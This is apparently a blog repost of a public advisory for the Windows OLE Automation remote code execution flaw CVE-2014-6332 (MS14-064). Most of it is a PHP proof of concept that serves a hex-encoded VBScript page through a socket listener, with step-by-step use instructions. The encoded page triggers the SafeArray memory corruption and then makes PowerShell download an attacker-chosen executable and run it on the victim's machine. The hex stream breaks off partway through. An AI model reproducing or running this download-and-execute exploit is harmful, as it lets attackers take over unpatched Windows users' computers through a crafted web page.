2015 m. rugpjūčio 28 d., penktadienis

Microsoft HTA (HTML Application) - Remote Code Execution Vulnerability (MS14-064)



Document Title:
===============
Microsoft HTA (HTML Application) - Remote Code Execution Vulnerability (MS14-064)


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1576

Video: http://youtu.be/Vkswz7vt23M

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6332

CVE-ID:
=======
CVE-2014-6332


Release Date:
=============
2015-08-15


Vulnerability Laboratory ID (VL-ID):
====================================
1576


Common Vulnerability Scoring System:
==============================
======
9.3


Abstract Advisory Information:
==============================
The Vulnerability Laboratory discovered remote code execution vulnerability in the Microsoft  HTA (HTML Application) - MS14-064.


Vulnerability Disclosure Timeline:
==================================
2015-08-15:     Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
OleAut32.dll in OLE in Microsoft Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1,
Windows Server 2012 Gold and R2, and Windows RT Gold and 8.1 allows remote attackers to execute arbitrary code via a crafted web site, as demonstrated by
an array-redimensioning attempt that triggers improper handling of a size value in the SafeArrayDimen function, aka Windows OLE Automation
Array Remote Code Execution Vulnerability.


Proof of Concept (PoC):
=======================
The vulnerbility can be exploited by remote attackers without user interaction or privilege application user accounts.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce ...
1 . Run php code : php hta.php
2 . Copy this php output (HTML) and Paste as poc.hta (Replace ip)
3 . Open poc.hta
4 . Your Link Download/Execute on your target
5 . Finished ;)

#!/usr/bin/php
<?php
    # Title : Microsoft Windows HTA (HTML Application) - Remote Code Execution
    # Tested on Windows 7 / Server 2008
    #
    #
    # Author      :   Mohammad Reza Espargham
    # Linkedin    :   https://ir.linkedin.com/in/rezasp
    # E-Mail      :   me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
    # Website     :   www.reza.es
    # Twitter     :   https://twitter.com/rezesp
    # FaceBook    :   https://www.facebook.com/mohammadreza.espargham
    #
    #
    #  MS14-064
    #
    #
    # 1 . run php code : php hta.php
    # 2 . copy this php output (HTML) and Paste as poc.hta (Replace ip)
    # 3 . open poc.hta
    # 4 . Your Link Download/Execute on your target
    # 5 . Finished ;)
    #
    # Demo : http://youtu.be/Vkswz7vt23M
    #




    $port=80; # Port Address
    $link="http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe"; # Your exe link



    print "    Mohammad Reza Espargham\n\n\n";

    $host= gethostname(); #g3th0stn4m3
    $ip = gethostbyname($host); #g3th0stbyn4m3

    print "Winrar HTML Code\n".'<html><head><title>poc</title><META http-equiv="refresh" content="0;URL=http://' . $ip . '"></head></html>'."\n\n";

    $reza = socket_create(AF_INET, SOCK_STREAM, 0) or die('Failed to create socket!');
    socket_bind($reza, 0,$port);
    socket_listen($reza);

    $msgd =
    "\x3c\x68\x74\x6d\x6c\x3e\x0d\x0a\x3c\x6d\x65\x74\x61\x20\x68\x74\x74\x70\x2d\x65\x71\x75\x69\x76".
    "\x3d\x22\x58\x2d\x55\x41\x2d\x43\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x22\x20\x63\x6f\x6e\x74\x65".
    "\x6e\x74\x3d\x22\x49\x45\x3d\x45\x6d\x75\x6c\x61\x74\x65\x49\x45\x38\x22\x20\x3e\x0d\x0a\x3c\x68".
    "\x65\x61\x64\x3e\x0d\x0a\x3c\x2f\x68\x65\x61\x64\x3e\x0d\x0a\x3c\x62\x6f\x64\x79\x3e\x0d\x0a\x20".
    "\x0d\x0a\x3c\x53\x43\x52\x49\x50\x54\x20\x4c\x41\x4e\x47\x55\x41\x47\x45\x3d\x22\x56\x42\x53\x63".
    "\x72\x69\x70\x74\x22\x3e\x0d\x0a\x0d\x0a\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x72\x75\x6e\x6d\x75".
    "\x6d\x61\x61\x28\x29\x20\x0d\x0a\x4f\x6e\x20\x45\x72\x72\x6f\x72\x20\x52\x65\x73\x75\x6d\x65\x20".
    "\x4e\x65\x78\x74\x0d\x0a\x73\x65\x74\x20\x73\x68\x65\x6c\x6c\x3d\x63\x72\x65\x61\x74\x65\x6f\x62".
    "\x6a\x65\x63\x74\x28\x22\x53\x68\x65\x6c\x6c\x2e\x41\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x22".
    "\x29\x0d\x0a\x63\x6f\x6d\x6d\x61\x6e\x64\x3d\x22\x49\x6e\x76\x6f\x6b\x65\x2d\x45\x78\x70\x72\x65".
    "\x73\x73\x69\x6f\x6e\x20\x24\x28\x4e\x65\x77\x2d\x4f\x62\x6a\x65\x63\x74\x20\x53\x79\x73\x74\x65".
    "\x6d\x2e\x4e\x65\x74\x2e\x57\x65\x62\x43\x6c\x69\x65\x6e\x74\x29\x2e\x44\x6f\x77\x6e\x6c\x6f\x61".
    "\x64\x46\x69\x6c\x65\x28\x27\x46\x49\x4c\x45\x5f\x44\x4f\x57\x4e\x4c\x4f\x41\x44\x27\x2c\x27\x6c".
    "\x6f\x61\x64\x2e\x65\x78\x65\x27\x29\x3b\x24\x28\x4e\x65\x77\x2d\x4f\x62\x6a\x65\x63\x74\x20\x2d".
    "\x63\x6f\x6d\x20\x53\x68\x65\x6c\x6c\x2e\x41\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x29\x2e\x53".
    "\x68\x65\x6c\x6c\x45\x78\x65\x63\x75\x74\x65\x28\x27\x6c\x6f\x61\x64\x2e\x65\x78\x65\x27\x29\x3b".
    "\x22\x0d\x0a\x73\x68\x65\x6c\x6c\x2e\x53\x68\x65\x6c\x6c\x45\x78\x65\x63\x75\x74\x65\x20\x22\x70".
    "\x6f\x77\x65\x72\x73\x68\x65\x6c\x6c\x2e\x65\x78\x65\x22\x2c\x20\x22\x2d\x43\x6f\x6d\x6d\x61\x6e".
    "\x64\x20\x22\x20\x26\x20\x63\x6f\x6d\x6d\x61\x6e\x64\x2c\x20\x22\x22\x2c\x20\x22\x72\x75\x6e\x61".
    "\x73\x22\x2c\x20\x30\x0d\x0a\x65\x6e\x64\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x0d\x0a\x3c\x2f\x73".
    "\x63\x72\x69\x70\x74\x3e\x0d\x0a\x20\x0d\x0a\x3c\x53\x43\x52\x49\x50\x54\x20\x4c\x41\x4e\x47\x55".
    "\x41\x47\x45\x3d\x22\x56\x42\x53\x63\x72\x69\x70\x74\x22\x3e\x0d\x0a\x20\x20\x0d\x0a\x64\x69\x6d".
    "\x20\x20\x20\x61\x61\x28\x29\x0d\x0a\x64\x69\x6d\x20\x20\x20\x61\x62\x28\x29\x0d\x0a\x64\x69\x6d".
    "\x20\x20\x20\x61\x30\x0d\x0a\x64\x69\x6d\x20\x20\x20\x61\x31\x0d\x0a\x64\x69\x6d\x20\x20\x20\x61".
    "\x32\x0d\x0a\x64\x69\x6d\x20\x20\x20\x61\x33\x0d\x0a\x64\x69\x6d\x20\x20\x20\x77\x69\x6e\x39\x78".
    "\x0d\x0a\x64\x69\x6d\x20\x20\x20\x69\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e\x0d\x0a\x64\x69\x6d\x20".
    "\x20\x20\x72\x6e\x64\x61\x0d\x0a\x64\x69\x6d\x20\x20\x20\x66\x75\x6e\x63\x6c\x61\x73\x73\x0d\x0a".
    "\x64\x69\x6d\x20\x20\x20\x6d\x79\x61\x72\x72\x61\x79\x0d\x0a\x20\x0d\x0a\x42\x65\x67\x69\x6e\x28".
    "\x29\x0d\x0a\x20\x0d\x0a\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x42\x65\x67\x69\x6e\x28\x29\x0d\x0a".
    "\x20\x20\x4f\x6e\x20\x45\x72\x72\x6f\x72\x20\x52\x65\x73\x75\x6d\x65\x20\x4e\x65\x78\x74\x0d\x0a".
    "\x20\x20\x69\x6e\x66\x6f\x3d\x4e\x61\x76\x69\x67\x61\x74\x6f\x72\x2e\x55\x73\x65\x72\x41\x67\x65".
    "\x6e\x74\x0d\x0a\x20\x0d\x0a\x20\x20\x69\x66\x28\x69\x6e\x73\x74\x72\x28\x69\x6e\x66\x6f\x2c\x22".
    "\x57\x69\x6e\x36\x34\x22\x29\x3e\x30\x29\x20\x20\x20\x74\x68\x65\x6e\x0d\x0a\x20\x20\x20\x20\x20".
    "\x65\x78\x69\x74\x20\x20\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x0d\x0a\x20\x20\x65\x6e\x64\x20\x69".
    "\x66\x0d\x0a\x20\x0d\x0a\x20\x20\x69\x66\x20\x28\x69\x6e\x73\x74\x72\x28\x69\x6e\x66\x6f\x2c\x22".
    "\x4d\x53\x49\x45\x22\x29\x3e\x30\x29\x20\x20\x20\x74\x68\x65\x6e\x20\x0d\x0a\x20\x20\x20\x20\x20".
    "\x20\x20\x20\x20\x20\x20\x20\x20\x69\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e\x20\x3d\x20\x43\x49\x6e".
    "\x74\x28\x4d\x69\x64\x28\x69\x6e\x66\x6f\x2c\x20\x49\x6e\x53\x74\x72\x28\x69\x6e\x66\x6f\x2c\x20".
    "\x22\x4d\x53\x49\x45\x22\x29\x20\x2b\x20\x35\x2c\x20\x32\x29\x29\x20\x20\x20\x0d\x0a\x20\x20\x65".
    "\x6c\x73\x65\x0d\x0a\x20\x20\x20\x20\x20\x65\x78\x69\x74\x20\x20\x20\x66\x75\x6e\x63\x74\x69\x6f".
    "\x6e\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x65".
    "\x6e\x64\x20\x69\x66\x0d\x0a\x20\x0d\x0a\x20\x20\x77\x69\x6e\x39\x78\x3d\x30\x0d\x0a\x20\x0d\x0a".
    "\x20\x20\x42\x65\x67\x69\x6e\x49\x6e\x69\x74\x28\x29\x0d\x0a\x20\x20\x49\x66\x20\x43\x72\x65\x61".
    "\x74\x65\x28\x29\x3d\x54\x72\x75\x65\x20\x54\x68\x65\x6e\x0d\x0a\x20\x20\x20\x20\x20\x6d\x79\x61".
    "\x72\x72\x61\x79\x3d\x20\x20\x20\x20\x20\x20\x20\x20\x63\x68\x72\x77\x28\x30\x31\x29\x26\x63\x68".
    "\x72\x77\x28\x32\x31\x37\x36\x29\x26\x63\x68\x72\x77\x28\x30\x31\x29\x26\x63\x68\x72\x77\x28\x30".
    "\x30\x29\x26\x63\x68\x72\x77\x28\x30\x30\x29\x26\x63\x68\x72\x77\x28\x30\x30\x29\x26\x63\x68\x72".
    "\x77\x28\x30\x30\x29\x26\x63\x68\x72\x77\x28\x30\x30\x29\x0d\x0a\x20\x20\x20\x20\x20\x6d\x79\x61".
    "\x72\x72\x61\x79\x3d\x6d\x79\x61\x72\x72\x61\x79\x26\x63\x68\x72\x77\x28\x30\x30\x29\x26\x63\x68".
    "\x72\x77\x28\x33\x32\x37\x36\x37\x29\x26\x63\x68\x72\x77\x28\x30\x30\x29\x26\x63\x68\x72\x77\x28".
    "\x30\x29\x0d\x0a\x20\x0d\x0a\x20\x20\x20\x20\x20\x69\x66\x28\x69\x6e\x74\x56\x65\x72\x73\x69\x6f".
    "\x6e\x3c\x34\x29\x20\x74\x68\x65\x6e\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x64\x6f\x63\x75".
    "\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x62\x72\x3e\x20\x49\x45\x22\x29\x0d\x0a\x20".
    "\x20\x20\x20\x20\x20\x20\x20\x20\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x69".
    "\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e\x29\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x72\x75\x6e".
    "\x73\x68\x65\x6c\x6c\x63\x6f\x64\x65\x28\x29\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
    "\x20\x20\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x65\x6c\x73\x65\x20\x20\x0d\x0a\x20\x20".
    "\x20\x20\x20\x20\x20\x20\x20\x20\x73\x65\x74\x6e\x6f\x74\x73\x61\x66\x65\x6d\x6f\x64\x65\x28\x29".
    "\x0d\x0a\x20\x20\x20\x20\x20\x65\x6e\x64\x20\x69\x66\x0d\x0a\x20\x20\x65\x6e\x64\x20\x69\x66\x0d".
    "\x0a\x65\x6e\x64\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x0d\x0a\x20\x0d\x0a\x66\x75\x6e\x63\x74\x69".
    "\x6f\x6e\x20\x42\x65\x67\x69\x6e\x49\x6e\x69\x74\x28\x29\x0d\x0a\x20\x20\x20\x52\x61\x6e\x64\x6f".
    "\x6d\x69\x7a\x65\x28\x29\x0d\x0a\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x61\x61\x28\x35\x29\x0d\x0a".
    "\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x61\x62\x28\x35\x29\x0d\x0a\x20\x20\x20\x61\x30\x3d\x31\x33".
    "\x2b\x31\x37\x2a\x72\x6e\x64\x28\x36\x29\x0d\x0a\x20\x20\x20\x61\x33\x3d\x37\x2b\x33\x2a\x72\x6e".
    "\x64\x28\x35\x29\x0d\x0a\x65\x6e\x64\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x0d\x0a\x20\x0d\x0a\x66".
    "\x75\x6e\x63\x74\x69\x6f\x6e\x20\x43\x72\x65\x61\x74\x65\x28\x29\x0d\x0a\x20\x20\x4f\x6e\x20\x45".
    "\x72\x72\x6f\x72\x20\x52\x65\x73\x75\x6d\x65\x20\x4e\x65\x78\x74\x0d\x0a\x20\x20\x64\x69\x6d\x20".
    "\x69\x0d\x0a\x20\x20\x43\x72\x65\x61\x74\x65\x3d\x46\x61\x6c\x73\x65\x0d\x0a\x20\x20\x46\x6f\x72".
    "\x20\x69\x20\x3d\x20\x30\x20\x54\x6f\x20\x34\x30\x30\x0d\x0a\x20\x20\x20\x20\x49\x66\x20\x4f\x76".
    "\x65\x72\x28\x29\x3d\x54\x72\x75\x65\x20\x54\x68\x65\x6e\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x43".
    "\x72\x65\x61\x74\x65\x3d\x54\x72\x75\x65\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x45\x78\x69\x74\x20".
    "\x46\x6f\x72\x0d\x0a\x20\x20\x20\x20\x45\x6e\x64\x20\x49\x66\x20\x0d\x0a\x20\x20\x4e\x65\x78\x74".
    "\x0d\x0a\x65\x6e\x64\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x0d\x0a\x20\x0d\x0a\x73\x75\x62\x20\x74".
    "\x65\x73\x74\x61\x61\x28\x29\x0d\x0a\x65\x6e\x64\x20\x73\x75\x62\x0d\x0a\x20\x0d\x0a\x66\x75\x6e".
    "\x63\x74\x69\x6f\x6e\x20\x6d\x79\x64\x61\x74\x61\x28\x29\x0d\x0a\x20\x20\x20\x20\x4f\x6e\x20\x45".
    "\x72\x72\x6f\x72\x20\x52\x65\x73\x75\x6d\x65\x20\x4e\x65\x78\x74\x0d\x0a\x20\x20\x20\x20\x20\x69".
    "\x3d\x74\x65\x73\x74\x61\x61\x0d\x0a\x20\x20\x20\x20\x20\x69\x3d\x6e\x75\x6c\x6c\x0d\x0a\x20\x20".
    "\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x20\x50\x72\x65\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x32".
    "\x29\x20\x20\x0d\x0a\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x61\x62\x28\x30\x29\x3d\x30\x0d\x0a".
    "\x20\x20\x20\x20\x20\x61\x61\x28\x61\x31\x29\x3d\x69\x0d\x0a\x20\x20\x20\x20\x20\x61\x62\x28\x30".
    "\x29\x3d\x36\x2e\x33\x36\x35\x39\x38\x37\x33\x37\x34\x33\x37\x38\x30\x31\x45\x2d\x33\x31\x34\x0d".
    "\x0a\x20\x0d\x0a\x20\x20\x20\x20\x20\x61\x61\x28\x61\x31\x2b\x32\x29\x3d\x6d\x79\x61\x72\x72\x61".
    "\x79\x0d\x0a\x20\x20\x20\x20\x20\x61\x62\x28\x32\x29\x3d\x31\x2e\x37\x34\x30\x38\x38\x35\x33\x34".
    "\x37\x33\x31\x33\x32\x34\x45\x2d\x33\x31\x30\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x6d\x79\x64\x61".
    "\x74\x61\x3d\x61\x61\x28\x61\x31\x29\x0d\x0a\x20\x20\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x20\x50".
    "\x72\x65\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x30\x29\x20\x20\x0d\x0a\x65\x6e\x64\x20\x66\x75".
    "\x6e\x63\x74\x69\x6f\x6e\x20\x0d\x0a\x20\x0d\x0a\x20\x0d\x0a\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20".
    "\x73\x65\x74\x6e\x6f\x74\x73\x61\x66\x65\x6d\x6f\x64\x65\x28\x29\x0d\x0a\x20\x20\x20\x20\x4f\x6e".
    "\x20\x45\x72\x72\x6f\x72\x20\x52\x65\x73\x75\x6d\x65\x20\x4e\x65\x78\x74\x0d\x0a\x20\x20\x20\x20".
    "\x69\x3d\x6d\x79\x64\x61\x74\x61\x28\x29\x20\x20\x0d\x0a\x20\x20\x20\x20\x69\x3d\x72\x75\x6d\x28".
    "\x69\x2b\x38\x29\x0d\x0a\x20\x20\x20\x20\x69\x3d\x72\x75\x6d\x28\x69\x2b\x31\x36\x29\x0d\x0a\x20".
    "\x20\x20\x20\x6a\x3d\x72\x75\x6d\x28\x69\x2b\x26\x68\x31\x33\x34\x29\x20\x20\x0d\x0a\x20\x20\x20".
    "\x20\x66\x6f\x72\x20\x6b\x3d\x30\x20\x74\x6f\x20\x26\x68\x36\x30\x20\x73\x74\x65\x70\x20\x34\x0d".
    "\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x6a\x3d\x72\x75\x6d\x28\x69\x2b\x26\x68\x31\x32\x30\x2b\x6b".
    "\x29\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x28\x6a\x3d\x31\x34\x29\x20\x74\x68\x65\x6e".
    "\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6a\x3d\x30\x20\x20\x20\x20\x20".
    "\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x72\x65\x64".
    "\x69\x6d\x20\x20\x50\x72\x65\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x32\x29\x20\x20\x20\x20\x20".
    "\x20\x20\x20\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x61\x61\x28\x61\x31\x2b\x32\x29\x28".
    "\x69\x2b\x26\x68\x31\x31\x63\x2b\x6b\x29\x3d\x61\x62\x28\x34\x29\x0d\x0a\x20\x20\x20\x20\x20\x20".
    "\x20\x20\x20\x20\x20\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x20\x50\x72\x65\x73\x65\x72\x76\x65\x20".
    "\x61\x61\x28\x61\x30\x29\x20\x20\x0d\x0a\x20\x0d\x0a\x20\x20\x20\x20\x20\x6a\x3d\x30\x20\x0d\x0a".
    "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6a\x3d\x72\x75\x6d\x28\x69\x2b\x26\x68".
    "\x31\x32\x30\x2b\x6b\x29\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0d\x0a\x20".
    "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x45\x78\x69\x74\x20\x66\x6f\x72\x0d\x0a".
    "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6e\x64\x20\x69\x66\x0d\x0a\x20\x0d\x0a\x20\x20".
    "\x20\x20\x6e\x65\x78\x74\x20\x0d\x0a\x20\x20\x20\x20\x61\x62\x28\x32\x29\x3d\x31\x2e\x36\x39\x37".
    "\x35\x39\x36\x36\x33\x33\x31\x36\x37\x34\x37\x45\x2d\x33\x31\x33\x0d\x0a\x20\x20\x20\x20\x72\x75".
    "\x6e\x6d\x75\x6d\x61\x61\x28\x29\x20\x0d\x0a\x65\x6e\x64\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x0d".
    "\x0a\x20\x0d\x0a\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x4f\x76\x65\x72\x28\x29\x0d\x0a\x20\x20\x20".
    "\x20\x4f\x6e\x20\x45\x72\x72\x6f\x72\x20\x52\x65\x73\x75\x6d\x65\x20\x4e\x65\x78\x74\x0d\x0a\x20".
    "\x20\x20\x20\x64\x69\x6d\x20\x74\x79\x70\x65\x31\x2c\x74\x79\x70\x65\x32\x2c\x74\x79\x70\x65\x33".
    "\x0d\x0a\x20\x20\x20\x20\x4f\x76\x65\x72\x3d\x46\x61\x6c\x73\x65\x0d\x0a\x20\x20\x20\x20\x61\x30".
    "\x3d\x61\x30\x2b\x61\x33\x0d\x0a\x20\x20\x20\x20\x61\x31\x3d\x61\x30\x2b\x32\x0d\x0a\x20\x20\x20".
    "\x20\x61\x32\x3d\x61\x30\x2b\x26\x68\x38\x30\x30\x30\x30\x30\x30\x0d\x0a\x20\x20\x20\x0d\x0a\x20".
    "\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x20\x50\x72\x65\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x30".
    "\x29\x20\x0d\x0a\x20\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x20\x20\x61\x62\x28\x61\x30\x29\x20\x20".
    "\x20\x20\x20\x0d\x0a\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x20\x50\x72\x65".
    "\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x32\x29\x0d\x0a\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x74".
    "\x79\x70\x65\x31\x3d\x31\x0d\x0a\x20\x20\x20\x20\x61\x62\x28\x30\x29\x3d\x31\x2e\x31\x32\x33\x34".
    "\x35\x36\x37\x38\x39\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x30\x31\x32\x33\x34\x35\x36\x37\x38".
    "\x39\x30\x0d\x0a\x20\x20\x20\x20\x61\x61\x28\x61\x30\x29\x3d\x31\x30\x0d\x0a\x20\x20\x20\x20\x20".
    "\x20\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x49\x66\x28\x49\x73\x4f\x62\x6a\x65\x63\x74\x28".
    "\x61\x61\x28\x61\x31\x2d\x31\x29\x29\x20\x3d\x20\x46\x61\x6c\x73\x65\x29\x20\x54\x68\x65\x6e\x0d".
    "\x0a\x20\x20\x20\x20\x20\x20\x20\x69\x66\x28\x69\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e\x3c\x34\x29".
    "\x20\x74\x68\x65\x6e\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6d\x65\x6d\x3d\x63\x69".
    "\x6e\x74\x28\x61\x30\x2b\x31\x29\x2a\x31\x36\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
    "\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6a\x3d\x76\x61\x72\x74\x79\x70\x65\x28\x61".
    "\x61\x28\x61\x31\x2d\x31\x29\x29\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x28".
    "\x28\x6a\x3d\x6d\x65\x6d\x2b\x34\x29\x20\x6f\x72\x20\x28\x6a\x2a\x38\x3d\x6d\x65\x6d\x2b\x38\x29".
    "\x29\x20\x74\x68\x65\x6e\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66".
    "\x28\x76\x61\x72\x74\x79\x70\x65\x28\x61\x61\x28\x61\x31\x2d\x31\x29\x29\x3c\x3e\x30\x29\x20\x20".
    "\x54\x68\x65\x6e\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
    "\x20\x20\x20\x49\x66\x28\x49\x73\x4f\x62\x6a\x65\x63\x74\x28\x61\x61\x28\x61\x31\x29\x29\x20\x3d".
    "\x20\x46\x61\x6c\x73\x65\x20\x29\x20\x54\x68\x65\x6e\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
    "\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x74".
    "\x79\x70\x65\x31\x3d\x56\x61\x72\x54\x79\x70\x65\x28\x61\x61\x28\x61\x31\x29\x29\x0d\x0a\x20\x20".
    "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6e\x64\x20\x69\x66\x20\x20\x20".
    "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
    "\x20\x20\x20\x20\x65\x6e\x64\x20\x69\x66\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65".
    "\x6c\x73\x65\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x72\x65\x64\x69\x6d\x20".
    "\x20\x50\x72\x65\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x30\x29\x0d\x0a\x20\x20\x20\x20\x20\x20".
    "\x20\x20\x20\x20\x20\x20\x20\x65\x78\x69\x74\x20\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x0d\x0a\x20".
    "\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6e\x64\x20\x69\x66\x20\x0d\x0a\x20\x20".
    "\x20\x20\x20\x20\x20\x20\x65\x6c\x73\x65\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69".
    "\x66\x28\x76\x61\x72\x74\x79\x70\x65\x28\x61\x61\x28\x61\x31\x2d\x31\x29\x29\x3c\x3e\x30\x29\x20".
    "\x20\x54\x68\x65\x6e\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
    "\x20\x49\x66\x28\x49\x73\x4f\x62\x6a\x65\x63\x74\x28\x61\x61\x28\x61\x31\x29\x29\x20\x3d\x20\x46".
    "\x61\x6c\x73\x65\x20\x29\x20\x54\x68\x65\x6e\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
    "\x20\x20\x20\x20\x20\x20\x20\x74\x79\x70\x65\x31\x3d\x56\x61\x72\x54\x79\x70\x65\x28\x61\x61\x28".
    "\x61\x31\x29\x29\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6e\x64\x20".
    "\x69\x66\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20".
    "\x20\x20\x20\x20\x20\x20\x20\x65\x6e\x64\x20\x69\x66\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x65".
    "\x6e\x64\x20\x69\x66\x0d\x0a\x20\x20\x20\x20\x65\x6e\x64\x20\x69\x66\x0d\x0a\x20\x20\x20\x20\x20".
    "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x49".
    "\x66\x28\x74\x79\x70\x65\x31\x3d\x26\x68\x32\x66\x36\x36\x29\x20\x54\x68\x65\x6e\x20\x20\x20\x20".
    "\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4f\x76\x65\x72\x3d\x54\x72".
    "\x75\x65\x20\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x45\x6e\x64\x20\x49\x66\x20\x20\x0d\x0a".
    "\x20\x20\x20\x20\x49\x66\x28\x74\x79\x70\x65\x31\x3d\x26\x68\x42\x39\x41\x44\x29\x20\x54\x68\x65".
    "\x6e\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4f\x76\x65\x72\x3d\x54\x72\x75\x65\x0d\x0a".
    "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x77\x69\x6e\x39\x78\x3d\x31\x0d\x0a\x20\x20\x20\x20\x45".
    "\x6e\x64\x20\x49\x66\x20\x20\x0d\x0a\x20\x0d\x0a\x20\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x20\x50".
    "\x72\x65\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x30\x29\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
    "\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0d\x0a\x65\x6e\x64\x20\x66\x75\x6e\x63\x74\x69\x6f".
    "\x6e\x0d\x0a\x20\x0d\x0a\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x72\x75\x6d\x28\x61\x64\x64\x29\x20".
